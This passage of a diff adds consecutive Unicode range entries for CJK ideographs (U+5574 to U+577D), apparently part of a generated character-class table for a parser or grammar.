+ ["\u5574", "\u5574"], /* CJK Ideograph */
+ ["\u5575", "\u5575"], /* CJK Ideograph */
+ ["\u5576", "\u5576"], /* CJK Ideograph */
+ ["\u5577", "\u5577"], /* CJK Ideograph */
+ ["\u5578", "\u5578"], /* CJK Ideograph */
+ ["\u5579", "\u5579"], /* CJK Ideograph */
+ ["\u557A", "\u557A"], /* CJK Ideograph */
+ ["\u557B", "\u557B"], /* CJK Ideograph */
+ ["\u557C", "\u557C"], /* CJK Ideograph */
+ ["\u557D", "\u557D"], /* CJK Ideograph */
+ ["\u557E", "\u557E"], /* CJK Ideograph */
+ ["\u557F", "\u557F"], /* CJK Ideograph */
+ ["\u5580", "\u5580"], /* CJK Ideograph */
+ ["\u5581", "\u5581"], /* CJK Ideograph */
+ ["\u5582", "\u5582"], /* CJK Ideograph */
+ ["\u5583", "\u5583"], /* CJK Ideograph */
+ ["\u5584", "\u5584"], /* CJK Ideograph */
+ ["\u5585", "\u5585"], /* CJK Ideograph */
+ ["\u5586", "\u5586"], /* CJK Ideograph */
+ ["\u5587", "\u5587"], /* CJK Ideograph */
+ ["\u5588", "\u5588"], /* CJK Ideograph */
+ ["\u5589", "\u5589"], /* CJK Ideograph */
+ ["\u558A", "\u558A"], /* CJK Ideograph */
+ ["\u558B", "\u558B"], /* CJK Ideograph */
+ ["\u558C", "\u558C"], /* CJK Ideograph */
+ ["\u558D", "\u558D"], /* CJK Ideograph */
+ ["\u558E", "\u558E"], /* CJK Ideograph */
+ ["\u558F", "\u558F"], /* CJK Ideograph */
+ ["\u5590", "\u5590"], /* CJK Ideograph */
+ ["\u5591", "\u5591"], /* CJK Ideograph */
+ ["\u5592", "\u5592"], /* CJK Ideograph */
+ ["\u5593", "\u5593"], /* CJK Ideograph */
+ ["\u5594", "\u5594"], /* CJK Ideograph */
+ ["\u5595", "\u5595"], /* CJK Ideograph */
+ ["\u5596", "\u5596"], /* CJK Ideograph */
+ ["\u5597", "\u5597"], /* CJK Ideograph */
+ ["\u5598", "\u5598"], /* CJK Ideograph */
+ ["\u5599", "\u5599"], /* CJK Ideograph */
+ ["\u559A", "\u559A"], /* CJK Ideograph */
+ ["\u559B", "\u559B"], /* CJK Ideograph */
+ ["\u559C", "\u559C"], /* CJK Ideograph */
+ ["\u559D", "\u559D"], /* CJK Ideograph */
+ ["\u559E", "\u559E"], /* CJK Ideograph */
+ ["\u559F", "\u559F"], /* CJK Ideograph */
+ ["\u55A0", "\u55A0"], /* CJK Ideograph */
+ ["\u55A1", "\u55A1"], /* CJK Ideograph */
+ ["\u55A2", "\u55A2"], /* CJK Ideograph */
+ ["\u55A3", "\u55A3"], /* CJK Ideograph */
+ ["\u55A4", "\u55A4"], /* CJK Ideograph */
+ ["\u55A5", "\u55A5"], /* CJK Ideograph */
+ ["\u55A6", "\u55A6"], /* CJK Ideograph */
+ ["\u55A7", "\u55A7"], /* CJK Ideograph */
+ ["\u55A8", "\u55A8"], /* CJK Ideograph */
+ ["\u55A9", "\u55A9"], /* CJK Ideograph */
+ ["\u55AA", "\u55AA"], /* CJK Ideograph */
+ ["\u55AB", "\u55AB"], /* CJK Ideograph */
+ ["\u55AC", "\u55AC"], /* CJK Ideograph */
+ ["\u55AD", "\u55AD"], /* CJK Ideograph */
+ ["\u55AE", "\u55AE"], /* CJK Ideograph */
+ ["\u55AF", "\u55AF"], /* CJK Ideograph */
+ ["\u55B0", "\u55B0"], /* CJK Ideograph */
+ ["\u55B1", "\u55B1"], /* CJK Ideograph */
+ ["\u55B2", "\u55B2"], /* CJK Ideograph */
+ ["\u55B3", "\u55B3"], /* CJK Ideograph */
+ ["\u55B4", "\u55B4"], /* CJK Ideograph */
+ ["\u55B5", "\u55B5"], /* CJK Ideograph */
+ ["\u55B6", "\u55B6"], /* CJK Ideograph */
+ ["\u55B7", "\u55B7"], /* CJK Ideograph */
+ ["\u55B8", "\u55B8"], /* CJK Ideograph */
+ ["\u55B9", "\u55B9"], /* CJK Ideograph */
+ ["\u55BA", "\u55BA"], /* CJK Ideograph */
+ ["\u55BB", "\u55BB"], /* CJK Ideograph */
+ ["\u55BC", "\u55BC"], /* CJK Ideograph */
+ ["\u55BD", "\u55BD"], /* CJK Ideograph */
+ ["\u55BE", "\u55BE"], /* CJK Ideograph */
+ ["\u55BF", "\u55BF"], /* CJK Ideograph */
+ ["\u55C0", "\u55C0"], /* CJK Ideograph */
+ ["\u55C1", "\u55C1"], /* CJK Ideograph */
+ ["\u55C2", "\u55C2"], /* CJK Ideograph */
+ ["\u55C3", "\u55C3"], /* CJK Ideograph */
+ ["\u55C4", "\u55C4"], /* CJK Ideograph */
+ ["\u55C5", "\u55C5"], /* CJK Ideograph */
+ ["\u55C6", "\u55C6"], /* CJK Ideograph */
+ ["\u55C7", "\u55C7"], /* CJK Ideograph */
+ ["\u55C8", "\u55C8"], /* CJK Ideograph */
+ ["\u55C9", "\u55C9"], /* CJK Ideograph */
+ ["\u55CA", "\u55CA"], /* CJK Ideograph */
+ ["\u55CB", "\u55CB"], /* CJK Ideograph */
+ ["\u55CC", "\u55CC"], /* CJK Ideograph */
+ ["\u55CD", "\u55CD"], /* CJK Ideograph */
+ ["\u55CE", "\u55CE"], /* CJK Ideograph */
+ ["\u55CF", "\u55CF"], /* CJK Ideograph */
+ ["\u55D0", "\u55D0"], /* CJK Ideograph */
+ ["\u55D1", "\u55D1"], /* CJK Ideograph */
+ ["\u55D2", "\u55D2"], /* CJK Ideograph */
+ ["\u55D3", "\u55D3"], /* CJK Ideograph */
+ ["\u55D4", "\u55D4"], /* CJK Ideograph */
+ ["\u55D5", "\u55D5"], /* CJK Ideograph */
+ ["\u55D6", "\u55D6"], /* CJK Ideograph */
+ ["\u55D7", "\u55D7"], /* CJK Ideograph */
+ ["\u55D8", "\u55D8"], /* CJK Ideograph */
+ ["\u55D9", "\u55D9"], /* CJK Ideograph */
+ ["\u55DA", "\u55DA"], /* CJK Ideograph */
+ ["\u55DB", "\u55DB"], /* CJK Ideograph */
+ ["\u55DC", "\u55DC"], /* CJK Ideograph */
+ ["\u55DD", "\u55DD"], /* CJK Ideograph */
+ ["\u55DE", "\u55DE"], /* CJK Ideograph */
+ ["\u55DF", "\u55DF"], /* CJK Ideograph */
+ ["\u55E0", "\u55E0"], /* CJK Ideograph */
+ ["\u55E1", "\u55E1"], /* CJK Ideograph */
+ ["\u55E2", "\u55E2"], /* CJK Ideograph */
+ ["\u55E3", "\u55E3"], /* CJK Ideograph */
+ ["\u55E4", "\u55E4"], /* CJK Ideograph */
+ ["\u55E5", "\u55E5"], /* CJK Ideograph */
+ ["\u55E6", "\u55E6"], /* CJK Ideograph */
+ ["\u55E7", "\u55E7"], /* CJK Ideograph */
+ ["\u55E8", "\u55E8"], /* CJK Ideograph */
+ ["\u55E9", "\u55E9"], /* CJK Ideograph */
+ ["\u55EA", "\u55EA"], /* CJK Ideograph */
+ ["\u55EB", "\u55EB"], /* CJK Ideograph */
+ ["\u55EC", "\u55EC"], /* CJK Ideograph */
+ ["\u55ED", "\u55ED"], /* CJK Ideograph */
+ ["\u55EE", "\u55EE"], /* CJK Ideograph */
+ ["\u55EF", "\u55EF"], /* CJK Ideograph */
+ ["\u55F0", "\u55F0"], /* CJK Ideograph */
+ ["\u55F1", "\u55F1"], /* CJK Ideograph */
+ ["\u55F2", "\u55F2"], /* CJK Ideograph */
+ ["\u55F3", "\u55F3"], /* CJK Ideograph */
+ ["\u55F4", "\u55F4"], /* CJK Ideograph */
+ ["\u55F5", "\u55F5"], /* CJK Ideograph */
+ ["\u55F6", "\u55F6"], /* CJK Ideograph */
+ ["\u55F7", "\u55F7"], /* CJK Ideograph */
+ ["\u55F8", "\u55F8"], /* CJK Ideograph */
+ ["\u55F9", "\u55F9"], /* CJK Ideograph */
+ ["\u55FA", "\u55FA"], /* CJK Ideograph */
+ ["\u55FB", "\u55FB"], /* CJK Ideograph */
+ ["\u55FC", "\u55FC"], /* CJK Ideograph */
+ ["\u55FD", "\u55FD"], /* CJK Ideograph */
+ ["\u55FE", "\u55FE"], /* CJK Ideograph */
+ ["\u55FF", "\u55FF"], /* CJK Ideograph */
+ ["\u5600", "\u5600"], /* CJK Ideograph */
+ ["\u5601", "\u5601"], /* CJK Ideograph */
+ ["\u5602", "\u5602"], /* CJK Ideograph */
+ ["\u5603", "\u5603"], /* CJK Ideograph */
+ ["\u5604", "\u5604"], /* CJK Ideograph */
+ ["\u5605", "\u5605"], /* CJK Ideograph */
+ ["\u5606", "\u5606"], /* CJK Ideograph */
+ ["\u5607", "\u5607"], /* CJK Ideograph */
+ ["\u5608", "\u5608"], /* CJK Ideograph */
+ ["\u5609", "\u5609"], /* CJK Ideograph */
+ ["\u560A", "\u560A"], /* CJK Ideograph */
+ ["\u560B", "\u560B"], /* CJK Ideograph */
+ ["\u560C", "\u560C"], /* CJK Ideograph */
+ ["\u560D", "\u560D"], /* CJK Ideograph */
+ ["\u560E", "\u560E"], /* CJK Ideograph */
+ ["\u560F", "\u560F"], /* CJK Ideograph */
+ ["\u5610", "\u5610"], /* CJK Ideograph */
+ ["\u5611", "\u5611"], /* CJK Ideograph */
+ ["\u5612", "\u5612"], /* CJK Ideograph */
+ ["\u5613", "\u5613"], /* CJK Ideograph */
+ ["\u5614", "\u5614"], /* CJK Ideograph */
+ ["\u5615", "\u5615"], /* CJK Ideograph */
+ ["\u5616", "\u5616"], /* CJK Ideograph */
+ ["\u5617", "\u5617"], /* CJK Ideograph */
+ ["\u5618", "\u5618"], /* CJK Ideograph */
+ ["\u5619", "\u5619"], /* CJK Ideograph */
+ ["\u561A", "\u561A"], /* CJK Ideograph */
+ ["\u561B", "\u561B"], /* CJK Ideograph */
+ ["\u561C", "\u561C"], /* CJK Ideograph */
+ ["\u561D", "\u561D"], /* CJK Ideograph */
+ ["\u561E", "\u561E"], /* CJK Ideograph */
+ ["\u561F", "\u561F"], /* CJK Ideograph */
+ ["\u5620", "\u5620"], /* CJK Ideograph */
+ ["\u5621", "\u5621"], /* CJK Ideograph */
+ ["\u5622", "\u5622"], /* CJK Ideograph */
+ ["\u5623", "\u5623"], /* CJK Ideograph */
+ ["\u5624", "\u5624"], /* CJK Ideograph */
+ ["\u5625", "\u5625"], /* CJK Ideograph */
+ ["\u5626", "\u5626"], /* CJK Ideograph */
+ ["\u5627", "\u5627"], /* CJK Ideograph */
+ ["\u5628", "\u5628"], /* CJK Ideograph */
+ ["\u5629", "\u5629"], /* CJK Ideograph */
+ ["\u562A", "\u562A"], /* CJK Ideograph */
+ ["\u562B", "\u562B"], /* CJK Ideograph */
+ ["\u562C", "\u562C"], /* CJK Ideograph */
+ ["\u562D", "\u562D"], /* CJK Ideograph */
+ ["\u562E", "\u562E"], /* CJK Ideograph */
+ ["\u562F", "\u562F"], /* CJK Ideograph */
+ ["\u5630", "\u5630"], /* CJK Ideograph */
+ ["\u5631", "\u5631"], /* CJK Ideograph */
+ ["\u5632", "\u5632"], /* CJK Ideograph */
+ ["\u5633", "\u5633"], /* CJK Ideograph */
+ ["\u5634", "\u5634"], /* CJK Ideograph */
+ ["\u5635", "\u5635"], /* CJK Ideograph */
+ ["\u5636", "\u5636"], /* CJK Ideograph */
+ ["\u5637", "\u5637"], /* CJK Ideograph */
+ ["\u5638", "\u5638"], /* CJK Ideograph */
+ ["\u5639", "\u5639"], /* CJK Ideograph */
+ ["\u563A", "\u563A"], /* CJK Ideograph */
+ ["\u563B", "\u563B"], /* CJK Ideograph */
+ ["\u563C", "\u563C"], /* CJK Ideograph */
+ ["\u563D", "\u563D"], /* CJK Ideograph */
+ ["\u563E", "\u563E"], /* CJK Ideograph */
+ ["\u563F", "\u563F"], /* CJK Ideograph */
+ ["\u5640", "\u5640"], /* CJK Ideograph */
+ ["\u5641", "\u5641"], /* CJK Ideograph */
+ ["\u5642", "\u5642"], /* CJK Ideograph */
+ ["\u5643", "\u5643"], /* CJK Ideograph */
+ ["\u5644", "\u5644"], /* CJK Ideograph */
+ ["\u5645", "\u5645"], /* CJK Ideograph */
+ ["\u5646", "\u5646"], /* CJK Ideograph */
+ ["\u5647", "\u5647"], /* CJK Ideograph */
+ ["\u5648", "\u5648"], /* CJK Ideograph */
+ ["\u5649", "\u5649"], /* CJK Ideograph */
+ ["\u564A", "\u564A"], /* CJK Ideograph */
+ ["\u564B", "\u564B"], /* CJK Ideograph */
+ ["\u564C", "\u564C"], /* CJK Ideograph */
+ ["\u564D", "\u564D"], /* CJK Ideograph */
+ ["\u564E", "\u564E"], /* CJK Ideograph */
+ ["\u564F", "\u564F"], /* CJK Ideograph */
+ ["\u5650", "\u5650"], /* CJK Ideograph */
+ ["\u5651", "\u5651"], /* CJK Ideograph */
+ ["\u5652", "\u5652"], /* CJK Ideograph */
+ ["\u5653", "\u5653"], /* CJK Ideograph */
+ ["\u5654", "\u5654"], /* CJK Ideograph */
+ ["\u5655", "\u5655"], /* CJK Ideograph */
+ ["\u5656", "\u5656"], /* CJK Ideograph */
+ ["\u5657", "\u5657"], /* CJK Ideograph */
+ ["\u5658", "\u5658"], /* CJK Ideograph */
+ ["\u5659", "\u5659"], /* CJK Ideograph */
+ ["\u565A", "\u565A"], /* CJK Ideograph */
+ ["\u565B", "\u565B"], /* CJK Ideograph */
+ ["\u565C", "\u565C"], /* CJK Ideograph */
+ ["\u565D", "\u565D"], /* CJK Ideograph */
+ ["\u565E", "\u565E"], /* CJK Ideograph */
+ ["\u565F", "\u565F"], /* CJK Ideograph */
+ ["\u5660", "\u5660"], /* CJK Ideograph */
+ ["\u5661", "\u5661"], /* CJK Ideograph */
+ ["\u5662", "\u5662"], /* CJK Ideograph */
+ ["\u5663", "\u5663"], /* CJK Ideograph */
+ ["\u5664", "\u5664"], /* CJK Ideograph */
+ ["\u5665", "\u5665"], /* CJK Ideograph */
+ ["\u5666", "\u5666"], /* CJK Ideograph */
+ ["\u5667", "\u5667"], /* CJK Ideograph */
+ ["\u5668", "\u5668"], /* CJK Ideograph */
+ ["\u5669", "\u5669"], /* CJK Ideograph */
+ ["\u566A", "\u566A"], /* CJK Ideograph */
+ ["\u566B", "\u566B"], /* CJK Ideograph */
+ ["\u566C", "\u566C"], /* CJK Ideograph */
+ ["\u566D", "\u566D"], /* CJK Ideograph */
+ ["\u566E", "\u566E"], /* CJK Ideograph */
+ ["\u566F", "\u566F"], /* CJK Ideograph */
+ ["\u5670", "\u5670"], /* CJK Ideograph */
+ ["\u5671", "\u5671"], /* CJK Ideograph */
+ ["\u5672", "\u5672"], /* CJK Ideograph */
+ ["\u5673", "\u5673"], /* CJK Ideograph */
+ ["\u5674", "\u5674"], /* CJK Ideograph */
+ ["\u5675", "\u5675"], /* CJK Ideograph */
+ ["\u5676", "\u5676"], /* CJK Ideograph */
+ ["\u5677", "\u5677"], /* CJK Ideograph */
+ ["\u5678", "\u5678"], /* CJK Ideograph */
+ ["\u5679", "\u5679"], /* CJK Ideograph */
+ ["\u567A", "\u567A"], /* CJK Ideograph */
+ ["\u567B", "\u567B"], /* CJK Ideograph */
+ ["\u567C", "\u567C"], /* CJK Ideograph */
+ ["\u567D", "\u567D"], /* CJK Ideograph */
+ ["\u567E", "\u567E"], /* CJK Ideograph */
+ ["\u567F", "\u567F"], /* CJK Ideograph */
+ ["\u5680", "\u5680"], /* CJK Ideograph */
+ ["\u5681", "\u5681"], /* CJK Ideograph */
+ ["\u5682", "\u5682"], /* CJK Ideograph */
+ ["\u5683", "\u5683"], /* CJK Ideograph */
+ ["\u5684", "\u5684"], /* CJK Ideograph */
+ ["\u5685", "\u5685"], /* CJK Ideograph */
+ ["\u5686", "\u5686"], /* CJK Ideograph */
+ ["\u5687", "\u5687"], /* CJK Ideograph */
+ ["\u5688", "\u5688"], /* CJK Ideograph */
+ ["\u5689", "\u5689"], /* CJK Ideograph */
+ ["\u568A", "\u568A"], /* CJK Ideograph */
+ ["\u568B", "\u568B"], /* CJK Ideograph */
+ ["\u568C", "\u568C"], /* CJK Ideograph */
+ ["\u568D", "\u568D"], /* CJK Ideograph */
+ ["\u568E", "\u568E"], /* CJK Ideograph */
+ ["\u568F", "\u568F"], /* CJK Ideograph */
+ ["\u5690", "\u5690"], /* CJK Ideograph */
+ ["\u5691", "\u5691"], /* CJK Ideograph */
+ ["\u5692", "\u5692"], /* CJK Ideograph */
+ ["\u5693", "\u5693"], /* CJK Ideograph */
+ ["\u5694", "\u5694"], /* CJK Ideograph */
+ ["\u5695", "\u5695"], /* CJK Ideograph */
+ ["\u5696", "\u5696"], /* CJK Ideograph */
+ ["\u5697", "\u5697"], /* CJK Ideograph */
+ ["\u5698", "\u5698"], /* CJK Ideograph */
+ ["\u5699", "\u5699"], /* CJK Ideograph */
+ ["\u569A", "\u569A"], /* CJK Ideograph */
+ ["\u569B", "\u569B"], /* CJK Ideograph */
+ ["\u569C", "\u569C"], /* CJK Ideograph */
+ ["\u569D", "\u569D"], /* CJK Ideograph */
+ ["\u569E", "\u569E"], /* CJK Ideograph */
+ ["\u569F", "\u569F"], /* CJK Ideograph */
+ ["\u56A0", "\u56A0"], /* CJK Ideograph */
+ ["\u56A1", "\u56A1"], /* CJK Ideograph */
+ ["\u56A2", "\u56A2"], /* CJK Ideograph */
+ ["\u56A3", "\u56A3"], /* CJK Ideograph */
+ ["\u56A4", "\u56A4"], /* CJK Ideograph */
+ ["\u56A5", "\u56A5"], /* CJK Ideograph */
+ ["\u56A6", "\u56A6"], /* CJK Ideograph */
+ ["\u56A7", "\u56A7"], /* CJK Ideograph */
+ ["\u56A8", "\u56A8"], /* CJK Ideograph */
+ ["\u56A9", "\u56A9"], /* CJK Ideograph */
+ ["\u56AA", "\u56AA"], /* CJK Ideograph */
+ ["\u56AB", "\u56AB"], /* CJK Ideograph */
+ ["\u56AC", "\u56AC"], /* CJK Ideograph */
+ ["\u56AD", "\u56AD"], /* CJK Ideograph */
+ ["\u56AE", "\u56AE"], /* CJK Ideograph */
+ ["\u56AF", "\u56AF"], /* CJK Ideograph */
+ ["\u56B0", "\u56B0"], /* CJK Ideograph */
+ ["\u56B1", "\u56B1"], /* CJK Ideograph */
+ ["\u56B2", "\u56B2"], /* CJK Ideograph */
+ ["\u56B3", "\u56B3"], /* CJK Ideograph */
+ ["\u56B4", "\u56B4"], /* CJK Ideograph */
+ ["\u56B5", "\u56B5"], /* CJK Ideograph */
+ ["\u56B6", "\u56B6"], /* CJK Ideograph */
+ ["\u56B7", "\u56B7"], /* CJK Ideograph */
+ ["\u56B8", "\u56B8"], /* CJK Ideograph */
+ ["\u56B9", "\u56B9"], /* CJK Ideograph */
+ ["\u56BA", "\u56BA"], /* CJK Ideograph */
+ ["\u56BB", "\u56BB"], /* CJK Ideograph */
+ ["\u56BC", "\u56BC"], /* CJK Ideograph */
+ ["\u56BD", "\u56BD"], /* CJK Ideograph */
+ ["\u56BE", "\u56BE"], /* CJK Ideograph */
+ ["\u56BF", "\u56BF"], /* CJK Ideograph */
+ ["\u56C0", "\u56C0"], /* CJK Ideograph */
+ ["\u56C1", "\u56C1"], /* CJK Ideograph */
+ ["\u56C2", "\u56C2"], /* CJK Ideograph */
+ ["\u56C3", "\u56C3"], /* CJK Ideograph */
+ ["\u56C4", "\u56C4"], /* CJK Ideograph */
+ ["\u56C5", "\u56C5"], /* CJK Ideograph */
+ ["\u56C6", "\u56C6"], /* CJK Ideograph */
+ ["\u56C7", "\u56C7"], /* CJK Ideograph */
+ ["\u56C8", "\u56C8"], /* CJK Ideograph */
+ ["\u56C9", "\u56C9"], /* CJK Ideograph */
+ ["\u56CA", "\u56CA"], /* CJK Ideograph */
+ ["\u56CB", "\u56CB"], /* CJK Ideograph */
+ ["\u56CC", "\u56CC"], /* CJK Ideograph */
+ ["\u56CD", "\u56CD"], /* CJK Ideograph */
+ ["\u56CE", "\u56CE"], /* CJK Ideograph */
+ ["\u56CF", "\u56CF"], /* CJK Ideograph */
+ ["\u56D0", "\u56D0"], /* CJK Ideograph */
+ ["\u56D1", "\u56D1"], /* CJK Ideograph */
+ ["\u56D2", "\u56D2"], /* CJK Ideograph */
+ ["\u56D3", "\u56D3"], /* CJK Ideograph */
+ ["\u56D4", "\u56D4"], /* CJK Ideograph */
+ ["\u56D5", "\u56D5"], /* CJK Ideograph */
+ ["\u56D6", "\u56D6"], /* CJK Ideograph */
+ ["\u56D7", "\u56D7"], /* CJK Ideograph */
+ ["\u56D8", "\u56D8"], /* CJK Ideograph */
+ ["\u56D9", "\u56D9"], /* CJK Ideograph */
+ ["\u56DA", "\u56DA"], /* CJK Ideograph */
+ ["\u56DB", "\u56DB"], /* CJK Ideograph */
+ ["\u56DC", "\u56DC"], /* CJK Ideograph */
+ ["\u56DD", "\u56DD"], /* CJK Ideograph */
+ ["\u56DE", "\u56DE"], /* CJK Ideograph */
+ ["\u56DF", "\u56DF"], /* CJK Ideograph */
+ ["\u56E0", "\u56E0"], /* CJK Ideograph */
+ ["\u56E1", "\u56E1"], /* CJK Ideograph */
+ ["\u56E2", "\u56E2"], /* CJK Ideograph */
+ ["\u56E3", "\u56E3"], /* CJK Ideograph */
+ ["\u56E4", "\u56E4"], /* CJK Ideograph */
+ ["\u56E5", "\u56E5"], /* CJK Ideograph */
+ ["\u56E6", "\u56E6"], /* CJK Ideograph */
+ ["\u56E7", "\u56E7"], /* CJK Ideograph */
+ ["\u56E8", "\u56E8"], /* CJK Ideograph */
+ ["\u56E9", "\u56E9"], /* CJK Ideograph */
+ ["\u56EA", "\u56EA"], /* CJK Ideograph */
+ ["\u56EB", "\u56EB"], /* CJK Ideograph */
+ ["\u56EC", "\u56EC"], /* CJK Ideograph */
+ ["\u56ED", "\u56ED"], /* CJK Ideograph */
+ ["\u56EE", "\u56EE"], /* CJK Ideograph */
+ ["\u56EF", "\u56EF"], /* CJK Ideograph */
+ ["\u56F0", "\u56F0"], /* CJK Ideograph */
+ ["\u56F1", "\u56F1"], /* CJK Ideograph */
+ ["\u56F2", "\u56F2"], /* CJK Ideograph */
+ ["\u56F3", "\u56F3"], /* CJK Ideograph */
+ ["\u56F4", "\u56F4"], /* CJK Ideograph */
+ ["\u56F5", "\u56F5"], /* CJK Ideograph */
+ ["\u56F6", "\u56F6"], /* CJK Ideograph */
+ ["\u56F7", "\u56F7"], /* CJK Ideograph */
+ ["\u56F8", "\u56F8"], /* CJK Ideograph */
+ ["\u56F9", "\u56F9"], /* CJK Ideograph */
+ ["\u56FA", "\u56FA"], /* CJK Ideograph */
+ ["\u56FB", "\u56FB"], /* CJK Ideograph */
+ ["\u56FC", "\u56FC"], /* CJK Ideograph */
+ ["\u56FD", "\u56FD"], /* CJK Ideograph */
+ ["\u56FE", "\u56FE"], /* CJK Ideograph */
+ ["\u56FF", "\u56FF"], /* CJK Ideograph */
+ ["\u5700", "\u5700"], /* CJK Ideograph */
+ ["\u5701", "\u5701"], /* CJK Ideograph */
+ ["\u5702", "\u5702"], /* CJK Ideograph */
+ ["\u5703", "\u5703"], /* CJK Ideograph */
+ ["\u5704", "\u5704"], /* CJK Ideograph */
+ ["\u5705", "\u5705"], /* CJK Ideograph */
+ ["\u5706", "\u5706"], /* CJK Ideograph */
+ ["\u5707", "\u5707"], /* CJK Ideograph */
+ ["\u5708", "\u5708"], /* CJK Ideograph */
+ ["\u5709", "\u5709"], /* CJK Ideograph */
+ ["\u570A", "\u570A"], /* CJK Ideograph */
+ ["\u570B", "\u570B"], /* CJK Ideograph */
+ ["\u570C", "\u570C"], /* CJK Ideograph */
+ ["\u570D", "\u570D"], /* CJK Ideograph */
+ ["\u570E", "\u570E"], /* CJK Ideograph */
+ ["\u570F", "\u570F"], /* CJK Ideograph */
+ ["\u5710", "\u5710"], /* CJK Ideograph */
+ ["\u5711", "\u5711"], /* CJK Ideograph */
+ ["\u5712", "\u5712"], /* CJK Ideograph */
+ ["\u5713", "\u5713"], /* CJK Ideograph */
+ ["\u5714", "\u5714"], /* CJK Ideograph */
+ ["\u5715", "\u5715"], /* CJK Ideograph */
+ ["\u5716", "\u5716"], /* CJK Ideograph */
+ ["\u5717", "\u5717"], /* CJK Ideograph */
+ ["\u5718", "\u5718"], /* CJK Ideograph */
+ ["\u5719", "\u5719"], /* CJK Ideograph */
+ ["\u571A", "\u571A"], /* CJK Ideograph */
+ ["\u571B", "\u571B"], /* CJK Ideograph */
+ ["\u571C", "\u571C"], /* CJK Ideograph */
+ ["\u571D", "\u571D"], /* CJK Ideograph */
+ ["\u571E", "\u571E"], /* CJK Ideograph */
+ ["\u571F", "\u571F"], /* CJK Ideograph */
+ ["\u5720", "\u5720"], /* CJK Ideograph */
+ ["\u5721", "\u5721"], /* CJK Ideograph */
+ ["\u5722", "\u5722"], /* CJK Ideograph */
+ ["\u5723", "\u5723"], /* CJK Ideograph */
+ ["\u5724", "\u5724"], /* CJK Ideograph */
+ ["\u5725", "\u5725"], /* CJK Ideograph */
+ ["\u5726", "\u5726"], /* CJK Ideograph */
+ ["\u5727", "\u5727"], /* CJK Ideograph */
+ ["\u5728", "\u5728"], /* CJK Ideograph */
+ ["\u5729", "\u5729"], /* CJK Ideograph */
+ ["\u572A", "\u572A"], /* CJK Ideograph */
+ ["\u572B", "\u572B"], /* CJK Ideograph */
+ ["\u572C", "\u572C"], /* CJK Ideograph */
+ ["\u572D", "\u572D"], /* CJK Ideograph */
+ ["\u572E", "\u572E"], /* CJK Ideograph */
+ ["\u572F", "\u572F"], /* CJK Ideograph */
+ ["\u5730", "\u5730"], /* CJK Ideograph */
+ ["\u5731", "\u5731"], /* CJK Ideograph */
+ ["\u5732", "\u5732"], /* CJK Ideograph */
+ ["\u5733", "\u5733"], /* CJK Ideograph */
+ ["\u5734", "\u5734"], /* CJK Ideograph */
+ ["\u5735", "\u5735"], /* CJK Ideograph */
+ ["\u5736", "\u5736"], /* CJK Ideograph */
+ ["\u5737", "\u5737"], /* CJK Ideograph */
+ ["\u5738", "\u5738"], /* CJK Ideograph */
+ ["\u5739", "\u5739"], /* CJK Ideograph */
+ ["\u573A", "\u573A"], /* CJK Ideograph */
+ ["\u573B", "\u573B"], /* CJK Ideograph */
+ ["\u573C", "\u573C"], /* CJK Ideograph */
+ ["\u573D", "\u573D"], /* CJK Ideograph */
+ ["\u573E", "\u573E"], /* CJK Ideograph */
+ ["\u573F", "\u573F"], /* CJK Ideograph */
+ ["\u5740", "\u5740"], /* CJK Ideograph */
+ ["\u5741", "\u5741"], /* CJK Ideograph */
+ ["\u5742", "\u5742"], /* CJK Ideograph */
+ ["\u5743", "\u5743"], /* CJK Ideograph */
+ ["\u5744", "\u5744"], /* CJK Ideograph */
+ ["\u5745", "\u5745"], /* CJK Ideograph */
+ ["\u5746", "\u5746"], /* CJK Ideograph */
+ ["\u5747", "\u5747"], /* CJK Ideograph */
+ ["\u5748", "\u5748"], /* CJK Ideograph */
+ ["\u5749", "\u5749"], /* CJK Ideograph */
+ ["\u574A", "\u574A"], /* CJK Ideograph */
+ ["\u574B", "\u574B"], /* CJK Ideograph */
+ ["\u574C", "\u574C"], /* CJK Ideograph */
+ ["\u574D", "\u574D"], /* CJK Ideograph */
+ ["\u574E", "\u574E"], /* CJK Ideograph */
+ ["\u574F", "\u574F"], /* CJK Ideograph */
+ ["\u5750", "\u5750"], /* CJK Ideograph */
+ ["\u5751", "\u5751"], /* CJK Ideograph */
+ ["\u5752", "\u5752"], /* CJK Ideograph */
+ ["\u5753", "\u5753"], /* CJK Ideograph */
+ ["\u5754", "\u5754"], /* CJK Ideograph */
+ ["\u5755", "\u5755"], /* CJK Ideograph */
+ ["\u5756", "\u5756"], /* CJK Ideograph */
+ ["\u5757", "\u5757"], /* CJK Ideograph */
+ ["\u5758", "\u5758"], /* CJK Ideograph */
+ ["\u5759", "\u5759"], /* CJK Ideograph */
+ ["\u575A", "\u575A"], /* CJK Ideograph */
+ ["\u575B", "\u575B"], /* CJK Ideograph */
+ ["\u575C", "\u575C"], /* CJK Ideograph */
+ ["\u575D", "\u575D"], /* CJK Ideograph */
+ ["\u575E", "\u575E"], /* CJK Ideograph */
+ ["\u575F", "\u575F"], /* CJK Ideograph */
+ ["\u5760", "\u5760"], /* CJK Ideograph */
+ ["\u5761", "\u5761"], /* CJK Ideograph */
+ ["\u5762", "\u5762"], /* CJK Ideograph */
+ ["\u5763", "\u5763"], /* CJK Ideograph */
+ ["\u5764", "\u5764"], /* CJK Ideograph */
+ ["\u5765", "\u5765"], /* CJK Ideograph */
+ ["\u5766", "\u5766"], /* CJK Ideograph */
+ ["\u5767", "\u5767"], /* CJK Ideograph */
+ ["\u5768", "\u5768"], /* CJK Ideograph */
+ ["\u5769", "\u5769"], /* CJK Ideograph */
+ ["\u576A", "\u576A"], /* CJK Ideograph */
+ ["\u576B", "\u576B"], /* CJK Ideograph */
+ ["\u576C", "\u576C"], /* CJK Ideograph */
+ ["\u576D", "\u576D"], /* CJK Ideograph */
+ ["\u576E", "\u576E"], /* CJK Ideograph */
+ ["\u576F", "\u576F"], /* CJK Ideograph */
+ ["\u5770", "\u5770"], /* CJK Ideograph */
+ ["\u5771", "\u5771"], /* CJK Ideograph */
+ ["\u5772", "\u5772"], /* CJK Ideograph */
+ ["\u5773", "\u5773"], /* CJK Ideograph */
+ ["\u5774", "\u5774"], /* CJK Ideograph */
+ ["\u5775", "\u5775"], /* CJK Ideograph */
+ ["\u5776", "\u5776"], /* CJK Ideograph */
+ ["\u5777", "\u5777"], /* CJK Ideograph */
+ ["\u5778", "\u5778"], /* CJK Ideograph */
+ ["\u5779", "\u5779"], /* CJK Ideograph */
+ ["\u577A", "\u577A"], /* CJK Ideograph */
+ ["\u577B", "\u577B"], /* CJK Ideograph */
+ ["\u577C", "\u577C"], /* CJK Ideograph */
+ ["\u577D", "\u577D"], /* CJK Ideograph */
